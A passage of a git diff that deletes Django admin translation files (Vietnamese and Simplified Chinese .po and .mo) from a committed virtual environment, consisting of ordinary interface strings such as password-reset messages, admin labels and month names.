-msgstr "Mật khẩu của bạn đã được thay đổi" - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Hãy nhập lại mật khẩu cũ và sau đó nhập mật khẩu mới hai lần để chúng tôi có " -"thể kiểm tra lại xem bạn đã gõ chính xác hay chưa." - -msgid "Change my password" -msgstr "Thay đổi mật khẩu" - -msgid "Password reset" -msgstr "Lập lại mật khẩu" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Mật khẩu của bạn đã được lập lại. Bạn hãy thử đăng nhập." - -msgid "Password reset confirmation" -msgstr "Xác nhận việc lập lại mật khẩu" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Hãy nhập mật khẩu mới hai lần để chúng tôi có thể kiểm tra xem bạn đã gõ " -"chính xác chưa" - -msgid "New password:" -msgstr "Mật khẩu mới" - -msgid "Confirm password:" -msgstr "Nhập lại mật khẩu:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Liên kết đặt lại mật khẩu không hợp lệ, có thể vì nó đã được sử dụng. Xin " -"vui lòng yêu cầu đặt lại mật khẩu mới." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Chúng tôi đã gửi cho bạn hướng dẫn thiết lập mật khẩu của bạn qua email, nếu " -"tài khoản tồn tại với email bạn đã nhập. Bạn sẽ nhận được chúng sớm." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Nếu bạn không nhận được email, hãy đảm bảo rằng bạn đã nhập địa chỉ mà bạn " -"đã đăng ký và kiểm tra thư mục spam của mình." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Bạn nhận được email này vì bạn đã yêu cầu làm mới lại mật khẩu cho tài khoản " -"của bạn tại %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "Hãy vào đường link dưới đây và chọn một mật khẩu mới" - -msgid "Your username, in case you’ve forgotten:" -msgstr "Tên đăng nhập của bạn, trường hợp bạn quên nó:" - -msgid "Thanks for using our site!" -msgstr "Cảm ơn bạn đã sử dụng website của chúng tôi!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Đội của %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Quên mật khẩu? Nhập địa chỉ email vào ô dưới đây. Chúng tôi sẽ email cho bạn " -"hướng dẫn cách thiết lập mật khẩu mới." - -msgid "Email address:" -msgstr "Địa chỉ Email:" - -msgid "Reset my password" -msgstr "Làm lại mật khẩu" - -msgid "All dates" -msgstr "Tất cả các ngày" - -#, python-format -msgid "Select %s" -msgstr "Chọn %s" - -#, python-format -msgid "Select %s to change" -msgstr "Chọn %s để thay đổi" - -#, python-format -msgid "Select %s to view" -msgstr "Chọn %s để xem" - -msgid "Date:" -msgstr "Ngày:" - -msgid "Time:" -msgstr "Giờ:" - -msgid "Lookup" -msgstr "Tìm" - -msgid "Currently:" -msgstr "Hiện nay:" - -msgid "Change:" -msgstr "Thay đổi:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/vi/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/vi/LC_MESSAGES/djangojs.mo deleted file mode 100644 index c9d57cda..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/vi/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/vi/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/vi/LC_MESSAGES/djangojs.po deleted file mode 100644 index a3faf74e..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/vi/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,268 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jannis Leidel , 2011 -# Tran , 2011 -# Tran Van , 2013 -# tinnguyen121221, 2021 -# Vuong Nguyen , 2011 -# xgenvn , 2014 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-01-15 09:00+0100\n" -"PO-Revision-Date: 2021-12-23 17:25+0000\n" -"Last-Translator: tinnguyen121221\n" -"Language-Team: Vietnamese (http://www.transifex.com/django/django/language/" -"vi/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: vi\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -#, javascript-format -msgid "Available %s" -msgstr "Có sẵn %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Danh sách các lựa chọn đang có %s. Bạn có thể chọn bằng bách click vào mũi " -"tên \"Chọn\" nằm giữa hai hộp." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Bạn hãy nhập vào ô này để lọc các danh sách sau %s." - -msgid "Filter" -msgstr "Lọc" - -msgid "Choose all" -msgstr "Chọn tất cả" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Click để chọn tất cả %s ." - -msgid "Choose" -msgstr "Chọn" - -msgid "Remove" -msgstr "Xóa" - -#, javascript-format -msgid "Chosen %s" -msgstr "Chọn %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Danh sách bạn đã chọn %s. Bạn có thể bỏ chọn bằng cách click vào mũi tên " -"\"Xoá\" nằm giữa hai ô." - -msgid "Remove all" -msgstr "Xoá tất cả" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Click để bỏ chọn tất cả %s" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] " %(sel)s của %(cnt)s được chọn" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Bạn chưa lưu những trường đã chỉnh sửa. Nếu bạn chọn hành động này, những " -"chỉnh sửa chưa được lưu sẽ bị mất." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Bạn đã chọn một hành động, nhưng bạn chưa lưu các thay đổi trên các trường. " -"Vui lòng bấm OK để lưu lại. Bạn sẽ cần chạy lại hành dộng." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Bạn đã chọn một hành động và bạn đã không thực hiện bất kỳ thay đổi nào trên " -"các trường. Có lẽ bạn nên bấm nút Đi đến hơn là nút Lưu lại." - -msgid "Now" -msgstr "Bây giờ" - -msgid "Midnight" -msgstr "Nửa đêm" - -msgid "6 a.m." -msgstr "6 giờ sáng" - -msgid "Noon" -msgstr "Buổi trưa" - -msgid "6 p.m." -msgstr "6 giờ chiều" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "" -"Lưu ý: Hiện tại bạn đang thấy thời gian trước %s giờ so với thời gian máy " -"chủ." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" -"Lưu ý: Hiện tại bạn đang thấy thời gian sau %s giờ so với thời gian máy chủ." - -msgid "Choose a Time" -msgstr "Chọn Thời gian" - -msgid "Choose a time" -msgstr "Chọn giờ" - -msgid "Cancel" -msgstr "Hủy bỏ" - -msgid "Today" -msgstr "Hôm nay" - -msgid "Choose a Date" -msgstr "Chọn Ngày" - -msgid "Yesterday" -msgstr "Hôm qua" - -msgid "Tomorrow" -msgstr "Ngày mai" - -msgid "January" -msgstr "Tháng Một" - -msgid "February" -msgstr "Tháng Hai" - -msgid "March" -msgstr "Tháng Ba" - -msgid "April" -msgstr "Tháng Tư" - -msgid "May" -msgstr "Tháng Năm" - -msgid "June" -msgstr "Tháng Sáu" - -msgid "July" -msgstr "Tháng Bảy" - -msgid "August" -msgstr "Tháng Tám" - -msgid "September" -msgstr "Tháng Chín" - -msgid "October" -msgstr "Tháng Mười" - -msgid "November" -msgstr "Tháng Mười Một" - -msgid "December" -msgstr "Tháng Mười Hai" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Tháng Một" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Tháng Hai" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Tháng Ba" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Tháng Tư" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "Tháng Năm" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "Tháng Sáu" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "Tháng Bảy" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Tháng Tám" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Tháng Chín" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "Tháng Mười" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Tháng Mười Một" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Tháng Mười Hai" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "CN" - -msgctxt "one letter Monday" -msgid "M" -msgstr "2" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "3" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "4" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "5" - -msgctxt "one letter Friday" -msgid "F" -msgstr "6" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "7" - -msgid "Show" -msgstr "Hiện ra" - -msgid "Hide" -msgstr "Dấu đi" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/zh_Hans/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/zh_Hans/LC_MESSAGES/django.mo deleted file mode 100644 index 7bec9b7a..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/zh_Hans/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/zh_Hans/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/zh_Hans/LC_MESSAGES/django.po deleted file mode 100644 index c6fcf86e..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/zh_Hans/LC_MESSAGES/django.po +++ /dev/null @@ -1,779 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# lanbla , 2021 -# Brian Wang , 2018 -# Fulong Sun , 2016 -# Huanqun Yang, 2022 -# jack yang, 2023 -# Jannis Leidel , 2011 -# Kevin Sze , 2012 -# Lele Long , 2011,2015 -# Le Yang , 2018 -# li beite , 2020 -# Liping Wang , 2016-2017 -# mozillazg , 2016 -# Ronald White , 2013-2014 -# Scott Jiang, 2023 -# Sean Lee , 2013 -# Sean Lee , 2013 -# slene , 2011 -# Suntravel Chris , 2019 -# Wentao Han , 2018,2020 -# xuyi wang , 2018 -# yf zhan , 2018 -# dykai , 2019 -# ced773123cfad7b4e8b79ca80f736af9, 2012 -# 千百度, 2024 -# LatteFang <370358679@qq.com>, 2020 -# Kevin Sze , 2012 -# 考证 李 , 2020 -# 雨翌 , 2016 -# 高乐喆 , 2023 -# Ronald White , 2013 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-08-07 07:05+0000\n" -"Last-Translator: 千百度, 2024\n" -"Language-Team: Chinese (China) (http://app.transifex.com/django/django/" -"language/zh_CN/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: zh_CN\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "删除所选的 %(verbose_name_plural)s" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "成功删除了 %(count)d 个 %(items)s" - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "无法删除 %(name)s" - -msgid "Are you sure?" -msgstr "你确定吗?" - -msgid "Administration" -msgstr "管理" - -msgid "All" -msgstr "全部" - -msgid "Yes" -msgstr "是" - -msgid "No" -msgstr "否" - -msgid "Unknown" -msgstr "未知" - -msgid "Any date" -msgstr "任意日期" - -msgid "Today" -msgstr "今天" - -msgid "Past 7 days" -msgstr "过去7天" - -msgid "This month" -msgstr "本月" - -msgid "This year" -msgstr "今年" - -msgid "No date" -msgstr "没有日期" - -msgid "Has date" -msgstr "具有日期" - -msgid "Empty" -msgstr "空" - -msgid "Not empty" -msgstr "非空" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"请输入一个正确的工作人员账户 %(username)s 和密码. 注意他们都是区分大小写的." - -msgid "Action:" -msgstr "动作" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "添加另一个 %(verbose_name)s" - -msgid "Remove" -msgstr "删除" - -msgid "Addition" -msgstr "添加" - -msgid "Change" -msgstr "修改" - -msgid "Deletion" -msgstr "删除" - -msgid "action time" -msgstr "操作时间" - -msgid "user" -msgstr "用户" - -msgid "content type" -msgstr "内容类型" - -msgid "object id" -msgstr "对象id" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "对象表示" - -msgid "action flag" -msgstr "动作标志" - -msgid "change message" -msgstr "修改消息" - -msgid "log entry" -msgstr "日志记录" - -msgid "log entries" -msgstr "日志记录" - -#, python-format -msgid "Added “%(object)s”." -msgstr "添加了“%(object)s”。" - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "修改了“%(object)s”—%(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "删除了“%(object)s”。" - -msgid "LogEntry Object" -msgstr "LogEntry对象" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "添加了 {name}“{object}”。" - -msgid "Added." -msgstr "已添加。" - -msgid "and" -msgstr "和" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "修改了 {name}“{object}”的 {fields}。" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "已修改{fields}。" - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "删除了 {name}“{object}”。" - -msgid "No fields changed." -msgstr "没有字段被修改。" - -msgid "None" -msgstr "无" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "按住 Control 键或 Mac 上的 Command 键来选择多项。" - -msgid "Select this object for an action - {}" -msgstr "选择此对象执行操作 - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "成功添加了 {name}“{obj}”。" - -msgid "You may edit it again below." -msgstr "您可以在下面再次编辑它." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "成功添加了 {name}“{obj}”。你可以在下面添加另一个 {name}。" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "成功修改了 {name}“{obj}”。你可以在下面再次编辑它。" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "成功修改了 {name}“{obj}”。你可以在下面添加另一个 {name}。" - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "成功修改了 {name}“{obj}”。" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "条目必须选中以对其进行操作。没有任何条目被更改。" - -msgid "No action selected." -msgstr "未选择动作" - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "成功删除了 %(name)s“%(obj)s”。" - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "ID 为“%(key)s”的 %(name)s 不存在。可能已经被删除了?" - -#, python-format -msgid "Add %s" -msgstr "增加 %s" - -#, python-format -msgid "Change %s" -msgstr "修改 %s" - -#, python-format -msgid "View %s" -msgstr "查看 %s" - -msgid "Database error" -msgstr "数据库错误" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "总共 %(count)s 个 %(name)s 变更成功。" - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "选中了 %(total_count)s 个" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "%(cnt)s 个中 0 个被选" - -#, python-format -msgid "Change history: %s" -msgstr "变更历史: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"删除 %(class_name)s %(instance)s 将需要删除以下受保护的相关对象: " -"%(related_objects)s" - -msgid "Django site admin" -msgstr "Django 站点管理员" - -msgid "Django administration" -msgstr "Django 管理" - -msgid "Site administration" -msgstr "站点管理" - -msgid "Log in" -msgstr "登录" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s 管理" - -msgid "Page not found" -msgstr "页面没有找到" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "非常抱歉,请求的页面不存在。" - -msgid "Home" -msgstr "首页" - -msgid "Server error" -msgstr "服务器错误" - -msgid "Server error (500)" -msgstr "服务器错误(500)" - -msgid "Server Error (500)" -msgstr "服务器错误 (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"发生了错误,已经通过电子邮件报告给了网站管理员。我们会尽快修复,感谢您的耐心" -"等待。" - -msgid "Run the selected action" -msgstr "运行选中的动作" - -msgid "Go" -msgstr "执行" - -msgid "Click here to select the objects across all pages" -msgstr "点击此处选择所有页面中包含的对象。" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "选中所有的 %(total_count)s 个 %(module_name)s" - -msgid "Clear selection" -msgstr "清除选中" - -msgid "Breadcrumbs" -msgstr "条形导航" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "在应用程序 %(name)s 中的模型" - -msgid "Add" -msgstr "增加" - -msgid "View" -msgstr "查看" - -msgid "You don’t have permission to view or edit anything." -msgstr "你没有查看或编辑的权限。" - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "输入用户名和密码后,你将能够编辑更多的用户选项。" - -msgid "Enter a username and password." -msgstr "输入用户名和密码" - -msgid "Change password" -msgstr "修改密码" - -msgid "Set password" -msgstr "设置密码" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "请更正以下错误。" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "为用户 %(username)s 输入一个新的密码。" - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "这将启用本用户基于密码的验证" - -msgid "Disable password-based authentication" -msgstr "禁用基于密码的验证" - -msgid "Enable password-based authentication" -msgstr "启用基于密码的验证" - -msgid "Skip to main content" -msgstr "跳到主要内容" - -msgid "Welcome," -msgstr "欢迎," - -msgid "View site" -msgstr "查看站点" - -msgid "Documentation" -msgstr "文档" - -msgid "Log out" -msgstr "注销" - -#, python-format -msgid "Add %(name)s" -msgstr "增加 %(name)s" - -msgid "History" -msgstr "历史" - -msgid "View on site" -msgstr "在站点上查看" - -msgid "Filter" -msgstr "过滤器" - -msgid "Hide counts" -msgstr "隐藏计数" - -msgid "Show counts" -msgstr "显示计数" - -msgid "Clear all filters" -msgstr "清除所有筛选" - -msgid "Remove from sorting" -msgstr "删除排序" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "排序优先级: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "正逆序切换" - -msgid "Toggle theme (current theme: auto)" -msgstr "切换主题(当前主题:自动)" - -msgid "Toggle theme (current theme: light)" -msgstr "切换主题(当前主题:浅色)" - -msgid "Toggle theme (current theme: dark)" -msgstr "切换主题(当前主题:深色)" - -msgid "Delete" -msgstr "删除" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"删除 %(object_name)s '%(escaped_object)s' 会导致删除相关的对象,但你的帐号无" -"权删除下列类型的对象:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"要删除 %(object_name)s '%(escaped_object)s', 将要求删除以下受保护的相关对象:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"你确认想要删除 %(object_name)s \"%(escaped_object)s\"? 下列所有相关的项目都" -"将被删除:" - -msgid "Objects" -msgstr "对象" - -msgid "Yes, I’m sure" -msgstr "是的,我确定" - -msgid "No, take me back" -msgstr "不,返回" - -msgid "Delete multiple objects" -msgstr "删除多个对象" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"要删除所选的 %(objects_name)s 结果会删除相关对象, 但你的账户没有权限删除这类" -"对象:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "要删除所选的 %(objects_name)s, 将要求删除以下受保护的相关对象:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"请确认要删除选中的 %(objects_name)s 吗?以下所有对象和与它们相关的条目将都会" -"被删除:" - -msgid "Delete?" -msgstr "删除?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " 以 %(filter_title)s" - -msgid "Summary" -msgstr "概览" - -msgid "Recent actions" -msgstr "最近动作" - -msgid "My actions" -msgstr "我的动作" - -msgid "None available" -msgstr "无可选的" - -msgid "Added:" -msgstr "已添加:" - -msgid "Changed:" -msgstr "已修改:" - -msgid "Deleted:" -msgstr "已删除:" - -msgid "Unknown content" -msgstr "未知内容" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"数据库设置有误。请检查所需的数据库表格是否已经创建,以及数据库用户是否具有正" -"确的权限。" - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"您当前以%(username)s登录,但是没有这个页面的访问权限。您想使用另外一个账号登" -"录吗?" - -msgid "Forgotten your password or username?" -msgstr "忘记了您的密码或用户名?" - -msgid "Toggle navigation" -msgstr "切换导航" - -msgid "Sidebar" -msgstr "侧边栏" - -msgid "Start typing to filter…" -msgstr "开始输入以筛选..." - -msgid "Filter navigation items" -msgstr "筛选导航项目" - -msgid "Date/time" -msgstr "日期/时间" - -msgid "User" -msgstr "用户" - -msgid "Action" -msgstr "动作" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "条目" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "此对象没有修改历史。它可能不是通过管理站点添加的。" - -msgid "Show all" -msgstr "显示全部" - -msgid "Save" -msgstr "保存" - -msgid "Popup closing…" -msgstr "弹窗关闭中..." - -msgid "Search" -msgstr "搜索" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s 条结果。" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "总共 %(full_result_count)s" - -msgid "Save as new" -msgstr "保存为新的" - -msgid "Save and add another" -msgstr "保存并增加另一个" - -msgid "Save and continue editing" -msgstr "保存并继续编辑" - -msgid "Save and view" -msgstr "保存并查看" - -msgid "Close" -msgstr "关闭" - -#, python-format -msgid "Change selected %(model)s" -msgstr "更改选中的%(model)s" - -#, python-format -msgid "Add another %(model)s" -msgstr "增加另一个 %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "取消选中 %(model)s" - -#, python-format -msgid "View selected %(model)s" -msgstr "查看已选择的%(model)s" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "感谢您今天与本网站共享一段美好时光。" - -msgid "Log in again" -msgstr "重新登录" - -msgid "Password change" -msgstr "密码修改" - -msgid "Your password was changed." -msgstr "你的密码已修改。" - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "安全起见请输入你的旧密码。然后输入两次你的新密码以确保输入正确。" - -msgid "Change my password" -msgstr "修改我的密码" - -msgid "Password reset" -msgstr "密码重设" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "你的密码己经设置完成,现在你可以继续进行登录。" - -msgid "Password reset confirmation" -msgstr "密码重设确认" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "请输入两遍新密码,以便我们校验你输入的是否正确。" - -msgid "New password:" -msgstr "新密码:" - -msgid "Confirm password:" -msgstr "确认密码:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "密码重置链接无效,可能是因为它已使用。可以请求一次新的密码重置。" - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"如果你所输入的电子邮箱存在对应的用户,我们将通过电子邮件向你发送设置密码的操" -"作步骤说明。你应该很快就会收到。" - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"如果你没有收到电子邮件,请检查输入的是你注册的电子邮箱地址。另外,也请检查你" -"的垃圾邮件文件夹。" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "你收到这封邮件是因为你请求重置你在网站 %(site_name)s上的用户账户密码。" - -msgid "Please go to the following page and choose a new password:" -msgstr "请访问该页面并选择一个新密码:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "提醒一下,你的用户名是:" - -msgid "Thanks for using our site!" -msgstr "感谢使用我们的站点!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "%(site_name)s 团队" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"忘记密码?在下面输入你的电子邮箱地址,我们将会把设置新密码的操作步骤说明通过" -"电子邮件发送给你。" - -msgid "Email address:" -msgstr "电子邮件地址:" - -msgid "Reset my password" -msgstr "重设我的密码" - -msgid "Select all objects on this page for an action" -msgstr "选择此页面上的所有对象执行操作" - -msgid "All dates" -msgstr "所有日期" - -#, python-format -msgid "Select %s" -msgstr "选择 %s" - -#, python-format -msgid "Select %s to change" -msgstr "选择 %s 来修改" - -#, python-format -msgid "Select %s to view" -msgstr "选择%s查看" - -msgid "Date:" -msgstr "日期:" - -msgid "Time:" -msgstr "时间:" - -msgid "Lookup" -msgstr "查询" - -msgid "Currently:" -msgstr "当前:" - -msgid "Change:" -msgstr "更改:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/zh_Hans/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/zh_Hans/LC_MESSAGES/djangojs.mo deleted file mode 100644 index c78566a8..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/zh_Hans/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/zh_Hans/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/zh_Hans/LC_MESSAGES/djangojs.po deleted file mode 100644 index 44f47c8b..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/zh_Hans/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,332 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# HuanCheng Bai白宦成(Bestony) , 2018 -# Fan Xu , 2022 -# jack yang, 2023 -# Jannis Leidel , 2011 -# Kaiqi Zhu, 2023 -# Kewei Ma , 2016 -# Lele Long , 2011,2015 -# Liping Wang , 2016 -# matthew Yip , 2020 -# mozillazg , 2016 -# slene , 2011 -# Veoco , 2021 -# spaceoi , 2016 -# ced773123cfad7b4e8b79ca80f736af9, 2012 -# Kevin Sze , 2012 -# 高乐喆 , 2023 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2023-09-18 15:04-0300\n" -"PO-Revision-Date: 2023-12-25 07:59+0000\n" -"Last-Translator: jack yang, 2023\n" -"Language-Team: Chinese (China) (http://app.transifex.com/django/django/" -"language/zh_CN/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: zh_CN\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -#, javascript-format -msgid "Available %s" -msgstr "可用 %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"这是可用的%s列表。你可以在选择框下面进行选择,然后点击两选框之间的“选择”箭" -"头。" - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "在此框中键入以过滤可用的%s列表" - -msgid "Filter" -msgstr "过滤" - -msgid "Choose all" -msgstr "全选" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr 